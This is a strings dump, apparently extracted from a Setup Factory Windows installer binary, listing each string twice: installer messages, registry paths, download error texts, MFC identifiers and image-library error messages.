ERR_WEB_SET_PROXY_USERNAME

ERR_WEB_SET_PROXY_USERNAME

ERR_WEB_WRITE_MEMORY

ERR_WEB_WRITE_MEMORY

ERR_WEB_FTP_FILE_OPEN

ERR_WEB_FTP_FILE_OPEN

ERR_WEB_USER_ABORT

ERR_WEB_USER_ABORT

ERR_WEB_FILE_WRITE

ERR_WEB_FILE_WRITE

ERR_WEB_DOWNLOAD_FILE_ERROR

ERR_WEB_DOWNLOAD_FILE_ERROR

ERR_WEB_INVALID_HTTP_RESPONSE

ERR_WEB_INVALID_HTTP_RESPONSE

ERR_WEB_DESTINATION_FILE_OPEN

ERR_WEB_DESTINATION_FILE_OPEN

ERR_WEB_SEND_REQUEST

ERR_WEB_SEND_REQUEST

ERR_WEB_OPEN_REQUEST

ERR_WEB_OPEN_REQUEST

ERR_WEB_CREATE_HTTP_CONNECTION

ERR_WEB_CREATE_HTTP_CONNECTION

ERR_WEB_CREATE_INTERNET_SESSION

ERR_WEB_CREATE_INTERNET_SESSION

ERR_REG_GET_SUB_KEY_NAME

ERR_REG_GET_SUB_KEY_NAME

ERR_REG_NON_EXISTANT_SUB_KEY

ERR_REG_NON_EXISTANT_SUB_KEY

ERR_REG_DELETE_KEY

ERR_REG_DELETE_KEY

ERR_REG_CREATE_KEY

ERR_REG_CREATE_KEY

ERR_FILE_EXECUTION_FAILED_ELEVATION

ERR_FILE_EXECUTION_FAILED_ELEVATION

ERR_KEY_RUN_ON_REBOOT_FAILED

ERR_KEY_RUN_ON_REBOOT_FAILED

ERR_USER_ABORTED_OPERATION

ERR_USER_ABORTED_OPERATION

ERR_NON_EXISTANT_VIEWER_EXE

ERR_NON_EXISTANT_VIEWER_EXE

ERR_FILE_EXECUTION_FAILED

ERR_FILE_EXECUTION_FAILED

ERR_SPECIFIED_EXE_FILE_INVALID

ERR_SPECIFIED_EXE_FILE_INVALID

MSG_SUCCESS

MSG_SUCCESS

Language set: Primary = %d, Secondary = %d

Language set: Primary = %d, Secondary = %d

%CompanyURL%

%CompanyURL%

%CompanyName%

%CompanyName%

UxTheme.dll

UxTheme.dll

%Copyright% %CompanyName%. All rights reserved. %CompanyURL%

%Copyright% %CompanyName%. All rights reserved. %CompanyURL%

%TempFolder%\%ProductName% Uninstall Log.txt

%TempFolder%\%ProductName% Uninstall Log.txt

%CompanyName% Support Department

%CompanyName% Support Department

%AppFolder%\uninstall.exe

%AppFolder%\uninstall.exe

uninstall.xml

uninstall.xml

CWebBrowser2

CWebBrowser2

Confirm Operation

Confirm Operation

KERNEL32.DLL

KERNEL32.DLL

PSAPI.DLL

PSAPI.DLL

Kernel32.dll

Kernel32.dll

WS2_32.DLL

WS2_32.DLL

Copying "%s"

Copying "%s"

"%s" %s

"%s" %s

%d.%d.%d.%d

%d.%d.%d.%d

\StringFileInfo\xx\ProductVersion

\StringFileInfo\xx\ProductVersion

\StringFileInfo\xx\PrivateBuild

\StringFileInfo\xx\PrivateBuild

Sfc.dll

Sfc.dll

.bak%d

.bak%d

Windows ME

Windows ME

Windows 98

Windows 98

Windows 95

Windows 95

Windows 2000

Windows 2000

Windows NT 4

Windows NT 4

Windows NT 3

Windows NT 3

%s\shell\open\command

%s\shell\open\command

NUL=%s

NUL=%s

Software\Microsoft\Windows NT\CurrentVersion\Fonts

Software\Microsoft\Windows NT\CurrentVersion\Fonts

Software\Microsoft\Windows\CurrentVersion\Fonts

Software\Microsoft\Windows\CurrentVersion\Fonts

***!!!***@@

***!!!***@@

Advapi32.dll

Advapi32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

%s\%s.url

%s\%s.url

%s\%s.pif

%s\%s.pif

srclient.dll

srclient.dll

%s_%d

%s_%d

%s\_ir_tmpfnt_%d

%s\_ir_tmpfnt_%d

/\:*?"|

/\:*?"|

%%x

%%x

d:d

d:d

WinINet.dll

WinINet.dll

Could not create Internet session: %u

Could not create Internet session: %u

Error downloading file: %u

Error downloading file: %u

Error writing the destination file: %d-%u

Error writing the destination file: %d-%u

Could not create HTTP connection: %u

Could not create HTTP connection: %u

Could not create HTTP connection

Could not create HTTP connection

Incorrect HTTP status returned by server: %d

Incorrect HTTP status returned by server: %d

Send request failed: %u

Send request failed: %u

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Could not open HTTP file: %s

Could not open HTTP file: %s

PTF://

PTF://

hXXps://

hXXps://

hXXp://

hXXp://

%s; DIRECT

%s; DIRECT

jsproxy.dll

jsproxy.dll

DetectAutoProxyUrl

DetectAutoProxyUrl

wininet.dll

wininet.dll

Could not HTTP file: %u

Could not HTTP file: %u

MSG_STATUS_HANDLE_CREATED

MSG_STATUS_HANDLE_CREATED

MSG_STATUS_HANDLE_CLOSING

MSG_STATUS_HANDLE_CLOSING

MSG_STATUS_REQUEST_COMPLETE

MSG_STATUS_REQUEST_COMPLETE

MSG_REDIRECTING

MSG_REDIRECTING

MSG_CONNECTION_CLOSED

MSG_CONNECTION_CLOSED

MSG_RESOLVING_HOST_NAME

MSG_RESOLVING_HOST_NAME

MSG_HOST_NAME_RESOLVED

MSG_HOST_NAME_RESOLVED

MSG_CONNECTING_TO_SERVER

MSG_CONNECTING_TO_SERVER

MSG_CONNECTED_TO_SERVER

MSG_CONNECTED_TO_SERVER

MSG_CLOSING_CONNECTION

MSG_CLOSING_CONNECTION

MSG: %d

MSG: %d

TRACE: LastError = %d ("%s")

TRACE: LastError = %d ("%s")

Script: %s, %s

Script: %s, %s

Script: %s, Line %d

Script: %s, Line %d

All Files (*.*)|*.*|

All Files (*.*)|*.*|

PasswordInput

PasswordInput

MSG_MOVING

MSG_MOVING

MSG_COPYING

MSG_COPYING

MSG_FROM

MSG_FROM

MSG_TO

MSG_TO

MSG_DELETING

MSG_DELETING

MSG_SEARCHING

MSG_SEARCHING

\StringFileInfo\xx\SpecialBuild

\StringFileInfo\xx\SpecialBuild

\StringFileInfo\xx\OriginalFilename

\StringFileInfo\xx\OriginalFilename

\StringFileInfo\xx\Comments

\StringFileInfo\xx\Comments

\StringFileInfo\xx\LegalTrademarks

\StringFileInfo\xx\LegalTrademarks

\StringFileInfo\xx\LegalCopyright

\StringFileInfo\xx\LegalCopyright

\StringFileInfo\xx\ProductName

\StringFileInfo\xx\ProductName

\StringFileInfo\xx\InternalName

\StringFileInfo\xx\InternalName

\StringFileInfo\xx\FileDescription

\StringFileInfo\xx\FileDescription

\StringFileInfo\xx\CompanyName

\StringFileInfo\xx\CompanyName

ErrorMsg

ErrorMsg

%Y-%m-%dT%H:%M:%S

%Y-%m-%dT%H:%M:%S

MSG_INSTALL_DO_YOU_WANT_OVERWRITE

MSG_INSTALL_DO_YOU_WANT_OVERWRITE

MSG_INSTALL_ALWAYS_ASK_OVERWRITE_MSG

MSG_INSTALL_ALWAYS_ASK_OVERWRITE_MSG

MSG_INSTALL_FILE_OLDER_MSG

MSG_INSTALL_FILE_OLDER_MSG

OpenURL

OpenURL

\msiexec.exe

\msiexec.exe

RunMsiexec

RunMsiexec

SQLInstallerError

SQLInstallerError

SQLRemoveDriverManager

SQLRemoveDriverManager

odbccp32.dll

odbccp32.dll

SQLConfigDataSource

SQLConfigDataSource

SQLInstallDriverEx

SQLInstallDriverEx

SQLInstallDriverManager

SQLInstallDriverManager

SQLRemoveDriver

SQLRemoveDriver

\Kernel32.dll

\Kernel32.dll

GetKeyNames

GetKeyNames

DoesKeyExist

DoesKeyExist

DeleteKey

DeleteKey

CreateKey

CreateKey

ShortcutKey

ShortcutKey

keycode

keycode

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

MSG_SIZE_BYTES

MSG_SIZE_BYTES

P?MSG_SIZE_KILOBYTES

P?MSG_SIZE_KILOBYTES

>MSG_SIZE_GIGABYTES

>MSG_SIZE_GIGABYTES

xxxxxx

xxxxxx

%s-%s-%s

%s-%s-%s

%s/%s/%s

%s/%s/%s

%s:%s:%s

%s:%s:%s

%d:%s:%s AM

%d:%s:%s AM

%d:%s:%s PM

%d:%s:%s PM

MSG_REBOOT_FAILED

MSG_REBOOT_FAILED

WININET.DLL

WININET.DLL

PPassword

PPassword

Password

Password

%s %s %s %s (%0.2f %s)

%s %s %s %s (%0.2f %s)

%0.1f %s/%0.1f %s

%0.1f %s/%0.1f %s

%I64u %s/%I64u %s

%I64u %s/%I64u %s

MSG_KB_PER_SEC

MSG_KB_PER_SEC

MSG_ESTIMATED_TIME_LEFT

MSG_ESTIMATED_TIME_LEFT

MSG_SAVING

MSG_SAVING

MSG_DOWNLOADING

MSG_DOWNLOADING

%s %s %s %s

%s %s %s %s

MSG_QUERYING_INTERNET

MSG_QUERYING_INTERNET

MSG_READING

MSG_READING

GetHTTPErrorInfo

GetHTTPErrorInfo

%s > %s

%s > %s

number e_CtrlID, number e_MsgID, table e_Details

number e_CtrlID, number e_MsgID, table e_Details

Removed: %s

Removed: %s

local e_CtrlID=%d; local e_MsgID=%d;

local e_CtrlID=%d; local e_MsgID=%d;

Button%d

Button%d

Check%d

Check%d

ComboBox%d

ComboBox%d

Edit%d

Edit%d

Space available on selected drive: %SpaceAvailable%

Space available on selected drive: %SpaceAvailable%

Space required: %SpaceRequired%

Space required: %SpaceRequired%

Error: The specified file: '%s' could not be found.

Error: The specified file: '%s' could not be found.

Error: The specified file: '%s' could not be opened.

Error: The specified file: '%s' could not be opened.

Error: The specified file: '%s' is too large to read.

Error: The specified file: '%s' is too large to read.

Error: The specified file: '%s' could not be read.

Error: The specified file: '%s' could not be read.

Application.Exit();

Application.Exit();

Screen.Next();

Screen.Next();

Screen.Back();

Screen.Back();

Radio%d

Radio%d

Total space required: %SpaceRequired%

Total space required: %SpaceRequired%

IDS_CTRL_CHECK_BOX_d

IDS_CTRL_CHECK_BOX_d

IDS_CTRL_BUTTON_d

IDS_CTRL_BUTTON_d

IDS_CTRL_STATICTEXT_LABEL_d

IDS_CTRL_STATICTEXT_LABEL_d

IDS_CTRL_COMBOBOX_d_DEFAULT

IDS_CTRL_COMBOBOX_d_DEFAULT

IDS_CTRL_EDIT_d

IDS_CTRL_EDIT_d

IDS_CTRL_RADIO_BUTTON_d

IDS_CTRL_RADIO_BUTTON_d

IDS_CTRL_LISTBOX_d

IDS_CTRL_LISTBOX_d

IDS_CTRL_SCROLLTEXT_BODY_d

IDS_CTRL_SCROLLTEXT_BODY_d

IDS_CTRL_PROGRESS_BAR_d

IDS_CTRL_PROGRESS_BAR_d

IDS_CTRL_GROUP_BOX_d

IDS_CTRL_GROUP_BOX_d

IDS_CTRL_SELECT_PACKAGE_TREE_d

IDS_CTRL_SELECT_PACKAGE_TREE_d

IDS_CTRL_BILLBOARD_d

IDS_CTRL_BILLBOARD_d

CTRL_CHECK_BOX_d

CTRL_CHECK_BOX_d

CTRL_BUTTON_d

CTRL_BUTTON_d

CTRL_STATICTEXT_LABEL_d

CTRL_STATICTEXT_LABEL_d

CTRL_COMBOBOX_d

CTRL_COMBOBOX_d

CTRL_EDIT_d

CTRL_EDIT_d

CTRL_RADIO_BUTTON_d

CTRL_RADIO_BUTTON_d

CTRL_LIST_BOX_d

CTRL_LIST_BOX_d

CTRL_SCROLLTEXT_BODY_d

CTRL_SCROLLTEXT_BODY_d

CTRL_PROGRESS_BAR_d

CTRL_PROGRESS_BAR_d

CTRL_GROUP_BOX_d

CTRL_GROUP_BOX_d

CTRL_SELECT_PACKAGE_TREE_d

CTRL_SELECT_PACKAGE_TREE_d

CTRL_BILLBOARD_d

CTRL_BILLBOARD_d

IDS_CTRL_COMBOBOX_d_ITEMS

IDS_CTRL_COMBOBOX_d_ITEMS

IDS_CTRL_SCROLLTEXT_FILE_d

IDS_CTRL_SCROLLTEXT_FILE_d

WebWindow

WebWindow

IDS_CTRL_CATEGORY_NAME_d_%.3d

IDS_CTRL_CATEGORY_NAME_d_%.3d

IDS_CTRL_CATEGORY_DESCRIPTION_d_%.3d

IDS_CTRL_CATEGORY_DESCRIPTION_d_%.3d

hXXp://VVV.indigorose.com/route.php?pid=suf9buy

hXXp://VVV.indigorose.com/route.php?pid=suf9buy

[email protected]

[email protected]

.tiff

.tiff

.jpeg

.jpeg

.wbmp

.wbmp

CNotSupportedException

CNotSupportedException

user32.dll

user32.dll

Afx:%p:%x:%p:%p:%p

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

Afx:%p:%x

commctrl_DragListMsg

commctrl_DragListMsg

CCmdTarget

CCmdTarget

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

comctl32.dll

comctl32.dll

comdlg32.dll

comdlg32.dll

shell32.dll

shell32.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

%s%s.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

lX-X-x-XX-XXXXXX

lX-X-x-XX-XXXXXX

RegOpenKeyTransactedA

RegOpenKeyTransactedA

RegCreateKeyTransactedA

RegCreateKeyTransactedA

RegDeleteKeyTransactedA

RegDeleteKeyTransactedA

CHttpConnection

CHttpConnection

CHttpFile

CHttpFile

HTTP/1.0

HTTP/1.0

msctls_hotkey32

msctls_hotkey32

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

mfcm100.dll

mfcm100.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Shell32.dll

Shell32.dll

%s:%x:%x:%x:%x

%s:%x:%x:%x:%x

RegDeleteKeyExA

RegDeleteKeyExA

lXXxXXXXXXXX

lXXxXXXXXXXX

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

ole32.dll

ole32.dll

MFCLink_UrlPrefix

MFCLink_UrlPrefix

MFCLink_Url

MFCLink_Url

CMDITabProxyWnd

CMDITabProxyWnd

CMDIChildWndEx

CMDIChildWndEx

CMDIFrameWndEx

CMDIFrameWndEx

%sMFCToolBar-%d%x

%sMFCToolBar-%d%x

%sMFCToolBar-%d

%sMFCToolBar-%d

%sMFCToolBarParameters

%sMFCToolBarParameters

TOOLBAR_RESETKEYBAORD

TOOLBAR_RESETKEYBAORD

KeyboardManager

KeyboardManager

MSG_CHECKEMPTYMINIFRAME

MSG_CHECKEMPTYMINIFRAME

%sDockingManager-%d

%sDockingManager-%d

&%d %s

&%d %s

Hex={X,X,X}

Hex={X,X,X}

ShowCmd

ShowCmd

CMDIChildWnd

CMDIChildWnd

CMDIFrameWnd

CMDIFrameWnd

CMDIClientAreaWnd

CMDIClientAreaWnd

%sMDIClientArea-%d

%sMDIClientArea-%d

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp

%sBasePane-%d%x

%sBasePane-%d%x

%sBasePane-%d

%sBasePane-%d

%sPane-%d%x

%sPane-%d%x

%sPane-%d

%sPane-%d

%sMFCOutlookBar-%d%x

%sMFCOutlookBar-%d%x

%sMFCOutlookBar-%d

%sMFCOutlookBar-%d

%c%d%c%s

%c%d%c%s

RGB(%d, %d, %d)

RGB(%d, %d, %d)

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp

%sDockablePaneAdapter-%d%x

%sDockablePaneAdapter-%d%x

%sDockablePaneAdapter-%d

%sDockablePaneAdapter-%d

ENABLE_KEYS

ENABLE_KEYS

KEYS_MENU

KEYS_MENU

KEYS

KEYS

windows

windows

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp

CMFCToolBarsKeyboardPropertyPage

CMFCToolBarsKeyboardPropertyPage

%sMFCTasksPane-%d%x

%sMFCTasksPane-%d%x

%sMFCTasksPane-%d

%sMFCTasksPane-%d

Visual C CRT: Not enough memory to complete call to strerror.

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Broken pipe

Inappropriate I/O control operation

Inappropriate I/O control operation

Operation not permitted

Operation not permitted

operator

operator

GetProcessWindowStation

GetProcessWindowStation

IS 5.0.2.4

IS 5.0.2.4

Error %d in %s (%s)

Error %d in %s (%s)

Error %d in %s (%s) [%s]

Error %d in %s (%s) [%s]

C.o.p.y.r.i.g.h.t...2.0.1.0.

C.o.p.y.r.i.g.h.t...2.0.1.0.

ISLib PNG Error : %s

ISLib PNG Error : %s

1.2.22

1.2.22

ISLib JPG Error : %s

ISLib JPG Error : %s

DIBToHBITMAP error: GetLastError = %d

DIBToHBITMAP error: GetLastError = %d

read %d. layersLen %d

read %d. layersLen %d

Reading PCD sub-image #%d (%d x %d)

Reading PCD sub-image #%d (%d x %d)

.cals

.cals

Keywords

Keywords

SetWinMetaFileBits failed GetLastError = %d

SetWinMetaFileBits failed GetLastError = %d

GeoKeyDirectory

GeoKeyDirectory

%s: Invalid InkNames value; expecting %d names, found %d

%s: Invalid InkNames value; expecting %d names, found %d

%s: Bad value %u for "%s" tag

%s: Bad value %u for "%s" tag

%s: Invalid %stag "%s" (not supported by codec)

%s: Invalid %stag "%s" (not supported by codec)

%s: Bad field type %d for "%s"

%s: Bad field type %d for "%s"

%s: Failed to allocate space for list of custom values

%s: Failed to allocate space for list of custom values

%s: Bad value %d for "%s" tag

%s: Bad value %d for "%s" tag

%s: Sorry, cannot nest SubIFDs

%s: Sorry, cannot nest SubIFDs

Nonstandard tile width %d, convert file

Nonstandard tile width %d, convert file

Nonstandard tile length %d, convert file

Nonstandard tile length %d, convert file

%s: Cannot modify tag "%s" while writing

%s: Cannot modify tag "%s" while writing

%s: Unknown %stag %u

%s: Unknown %stag %u

%s: Error fetching directory link

%s: Error fetching directory link

%s: Error fetching directory count

%s: Error fetching directory count

Sorry, can not handle images with %d-bit samples

Sorry, can not handle images with %d-bit samples

Sorry, LogL data must have %s=%d

Sorry, LogL data must have %s=%d

Sorry, can not handle LogLuv images with %s=%d

Sorry, can not handle LogLuv images with %s=%d

Sorry, LogLuv data must have %s=%d or %d

Sorry, LogLuv data must have %s=%d or %d

Sorry, can not handle image with %s=%d

Sorry, can not handle image with %s=%d

Sorry, can not handle contiguous data with %s=%d, and %s=%d and Bits/Sample=%d

Sorry, can not handle contiguous data with %s=%d, and %s=%d and Bits/Sample=%d

Sorry, can not handle RGB image with %s=%d

Sorry, can not handle RGB image with %s=%d

Sorry, can not handle contiguous data with %s=%d, and %s=%d

Sorry, can not handle contiguous data with %s=%d, and %s=%d

Sorry, can not handle separated image with %s=%d

Sorry, can not handle separated image with %s=%d

Missing needed %s tag

Missing needed %s tag

No space %s

No space %s

%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu

%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu

%s: Read error at scanline %lu; got %lu bytes, expected %lu

%s: Read error at scanline %lu; got %lu bytes, expected %lu

%s: Seek error at scanline %lu, strip %lu

%s: Seek error at scanline %lu, strip %lu

%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu

%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu

%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu

%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu

%s: Seek error at row %ld, col %ld, tile %ld

%s: Seek error at row %ld, col %ld, tile %ld

%s: No space for data buffer at scanline %ld

%s: No space for data buffer at scanline %ld

%s: Data buffer too small to hold strip %lu

%s: Data buffer too small to hold strip %lu

%s: Read error on strip %lu; got %lu bytes, expected %lu

%s: Read error on strip %lu; got %lu bytes, expected %lu

%s: Invalid strip byte count %lu, strip %lu

%s: Invalid strip byte count %lu, strip %lu

%s: Data buffer too small to hold tile %ld

%s: Data buffer too small to hold tile %ld

"%s": Bad mode

"%s": Bad mode

Not a TIFF file, bad version number %d (0x%x)

Not a TIFF file, bad version number %d (0x%x)

This is a BigTIFF file. This format not supported

This is a BigTIFF file. This format not supported

Not a TIFF or MDI file, bad magic number %d (0x%x)

Not a TIFF or MDI file, bad magic number %d (0x%x)

%s: Out of memory (TIFF structure)

%s: Out of memory (TIFF structure)

Error writing data for field "%s"

Error writing data for field "%s"

%s: Error writing SubIFD directory link

%s: Error writing SubIFD directory link

M"%s": Information lost writing value (%g) as (unsigned) RATIONAL

M"%s": Information lost writing value (%g) as (unsigned) RATIONAL

Integer overflow in %s

Integer overflow in %s

LIBTIFF, Version 3.9.1

LIBTIFF, Version 3.9.1

0123456789ABCDEFlibpng error: %s

0123456789ABCDEFlibpng error: %s

libpng error: %s, offset=%d

libpng error: %s, offset=%d

libpng error no. %s: %s

libpng error no. %s: %s

libpng warning: %s

libpng warning: %s

libpng warning no. %s: %s

libpng warning no. %s: %s

1.2.3

1.2.3

NULL row buffer for row %ld, pass %d

NULL row buffer for row %ld, pass %d

iTXt chunk not supported.

iTXt chunk not supported.

Corrupt JPEG data: found marker 0xx instead of RST%d

Corrupt JPEG data: found marker 0xx instead of RST%d

Warning: unknown JFIF revision number %d.d

Warning: unknown JFIF revision number %d.d

Corrupt JPEG data: %u extraneous bytes before marker 0xx

Corrupt JPEG data: %u extraneous bytes before marker 0xx

Inconsistent progression sequence for component %d coefficient %d

Inconsistent progression sequence for component %d coefficient %d

Unknown Adobe color transform code %d

Unknown Adobe color transform code %d

Obtained XMS handle %u

Obtained XMS handle %u

Freed XMS handle %u

Freed XMS handle %u

Unrecognized component IDs %d %d %d, assuming YCbCr

Unrecognized component IDs %d %d %d, assuming YCbCr

JFIF extension marker: RGB thumbnail image, length %u

JFIF extension marker: RGB thumbnail image, length %u

JFIF extension marker: palette thumbnail image, length %u

JFIF extension marker: palette thumbnail image, length %u

JFIF extension marker: JPEG-compressed thumbnail image, length %u

JFIF extension marker: JPEG-compressed thumbnail image, length %u

Opened temporary file %s

Opened temporary file %s

Closed temporary file %s

Closed temporary file %s

Ss=%d, Se=%d, Ah=%d, Al=%d

Ss=%d, Se=%d, Ah=%d, Al=%d

Component %d: dc=%d ac=%d

Component %d: dc=%d ac=%d

Start Of Scan: %d components

Start Of Scan: %d components

Component %d: %dhx%dv q=%d

Component %d: %dhx%dv q=%d

Start Of Frame 0xx: width=%u, height=%u, components=%d

Start Of Frame 0xx: width=%u, height=%u, components=%d

Smoothing not supported with nonstandard sampling ratios

Smoothing not supported with nonstandard sampling ratios

RST%d

RST%d

At marker 0xx, recovery action %d

At marker 0xx, recovery action %d

Selected %d colors for quantization

Selected %d colors for quantization

Quantizing to %d colors

Quantizing to %d colors

Quantizing to %d = %d*%d*%d colors

Quantizing to %d = %d*%d*%d colors

%4u %4u %4u %4u %4u %4u %4u %4u

%4u %4u %4u %4u %4u %4u %4u %4u

Unexpected marker 0xx

Unexpected marker 0xx

Miscellaneous marker 0xx, length %u

Miscellaneous marker 0xx, length %u

with %d x %d thumbnail image

with %d x %d thumbnail image

JFIF extension marker: type 0xx, length %u

JFIF extension marker: type 0xx, length %u

Warning: thumbnail image size does not match data length %u

Warning: thumbnail image size does not match data length %u

JFIF APP0 marker: version %d.d, density %dx%d %d

JFIF APP0 marker: version %d.d, density %dx%d %d

= = = = = = = =

= = = = = = = =

Obtained EMS handle %u

Obtained EMS handle %u

Freed EMS handle %u

Freed EMS handle %u

Define Restart Interval %u

Define Restart Interval %u

Define Quantization Table %d precision %d

Define Quantization Table %d precision %d

Define Huffman Table 0xx

Define Huffman Table 0xx

Define Arithmetic Table 0xx: 0xx

Define Arithmetic Table 0xx: 0xx

Unknown APP14 marker (not Adobe), length %u

Unknown APP14 marker (not Adobe), length %u

Unknown APP0 marker (not JFIF), length %u

Unknown APP0 marker (not JFIF), length %u

Adobe APP14 marker: version %d, flags 0xx 0xx, transform %d

Adobe APP14 marker: version %d, flags 0xx 0xx, transform %d

Unsupported marker type 0xx

Unsupported marker type 0xx

Failed to create temporary file %s

Failed to create temporary file %s

Unsupported JPEG process: SOF type 0xx

Unsupported JPEG process: SOF type 0xx

Cannot quantize to more than %d colors

Cannot quantize to more than %d colors

Cannot quantize to fewer than %d colors

Cannot quantize to fewer than %d colors

Cannot quantize more than %d color components

Cannot quantize more than %d color components

Insufficient memory (case %d)

Insufficient memory (case %d)

Not a JPEG file: starts with 0xx 0xx

Not a JPEG file: starts with 0xx 0xx

Quantization table 0xx was not defined

Quantization table 0xx was not defined

Huffman table 0xx was not defined

Huffman table 0xx was not defined

Backing store not supported

Backing store not supported

Cannot transcode due to multiple use of quantization table %d

Cannot transcode due to multiple use of quantization table %d

Maximum supported image dimension is %u pixels

Maximum supported image dimension is %u pixels

Empty JPEG image (DNL not supported)

Empty JPEG image (DNL not supported)

Bogus DQT index %d

Bogus DQT index %d

Bogus DHT index %d

Bogus DHT index %d

Bogus DAC value 0x%x

Bogus DAC value 0x%x

Bogus DAC index %d

Bogus DAC index %d

Unsupported color conversion request

Unsupported color conversion request

Too many color components: %d, max %d

Too many color components: %d, max %d

Buffer passed to JPEG library is too small

Buffer passed to JPEG library is too small

JPEG parameter struct mismatch: library thinks size is %u, caller expects %u

JPEG parameter struct mismatch: library thinks size is %u, caller expects %u

Improper call to JPEG library in state %d

Improper call to JPEG library in state %d

Invalid scan script at entry %d

Invalid scan script at entry %d

Invalid progressive parameters at scan script entry %d

Invalid progressive parameters at scan script entry %d

Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d

Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d

Unsupported JPEG data precision %d

Unsupported JPEG data precision %d

Invalid memory pool code %d

Invalid memory pool code %d

Wrong JPEG library version: library is %d, caller expects %d

Wrong JPEG library version: library is %d, caller expects %d

IDCT output block size %d not supported

IDCT output block size %d not supported

Invalid component ID %d in SOS

Invalid component ID %d in SOS

Bogus message code %d

Bogus message code %d

Found bad IPTC data resource (len exceeds block end). ID=%d

Found bad IPTC data resource (len exceeds block end). ID=%d

ExifInteroperabilityOffset

ExifInteroperabilityOffset

InteroperabilityVersion

InteroperabilityVersion

InteroperabilityIndex

InteroperabilityIndex

AsShotPreProfileMatrix

AsShotPreProfileMatrix

AsShotICCProfile

AsShotICCProfile

AsShotWhiteXY

AsShotWhiteXY

AsShotNeutral

AsShotNeutral

InteroperabilityIFDOffset

InteroperabilityIFDOffset

Internal error, unknown tag 0x%x

Internal error, unknown tag 0x%x

Tag %d

Tag %d

Compression algorithm does not support random access

Compression algorithm does not support random access

Compression scheme %u %s encoding is not implemented

Compression scheme %u %s encoding is not implemented

%s %s encoding is not implemented

%s %s encoding is not implemented

Compression scheme %u %s decoding is not implemented

Compression scheme %u %s decoding is not implemented

%s %s decoding is not implemented

%s %s decoding is not implemented

%s: Cannot determine size of unknown tag type %d

%s: Cannot determine size of unknown tag type %d

%s: TIFF directory is missing required "%s" field

%s: TIFF directory is missing required "%s" field

incorrect count for field "%s" (%u, expecting %u); tag trimmed

incorrect count for field "%s" (%u, expecting %u); tag trimmed

incorrect count for field "%s" (%u, expecting %u); tag ignored

incorrect count for field "%s" (%u, expecting %u); tag ignored

%s: Can not read TIFF directory

%s: Can not read TIFF directory

%s: Can not read TIFF directory count

%s: Can not read TIFF directory count

%s: Seek error accessing TIFF directory

%s: Seek error accessing TIFF directory

Error fetching data for field "%s"

Error fetching data for field "%s"

%s: Rational with zero denominator (num = %u)

%s: Rational with zero denominator (num = %u)

unexpected count for field "%s", %u, expected 2; ignored

unexpected count for field "%s", %u, expected 2; ignored

cannot read TIFF_ANY type %d for field "%s"

cannot read TIFF_ANY type %d for field "%s"

Cannot handle different per-sample values for field "%s"

Cannot handle different per-sample values for field "%s"

%s: cannot handle zero strip size

%s: cannot handle zero strip size

%s: cannot handle zero tile size

%s: cannot handle zero tile size

%s: cannot handle zero scanline size

%s: cannot handle zero scanline size

%s: Wrong "%s" field, ignoring and calculating from imagelength

%s: Wrong "%s" field, ignoring and calculating from imagelength

%s: Bogus "%s" field, ignoring and calculating from imagelength

%s: Bogus "%s" field, ignoring and calculating from imagelength

%s: TIFF directory is missing required "%s" field, calculating from imagelength

%s: TIFF directory is missing required "%s" field, calculating from imagelength

%s: cannot handle zero number of %s

%s: cannot handle zero number of %s

%s: wrong data type %d for "%s"; tag ignored

%s: wrong data type %d for "%s"; tag ignored

Registering anonymous field with tag %d (0x%x) failed

Registering anonymous field with tag %d (0x%x) failed

%s: unknown field with tag %d (0x%x) encountered

%s: unknown field with tag %d (0x%x) encountered

%s: invalid TIFF directory; tags are not sorted in ascending order

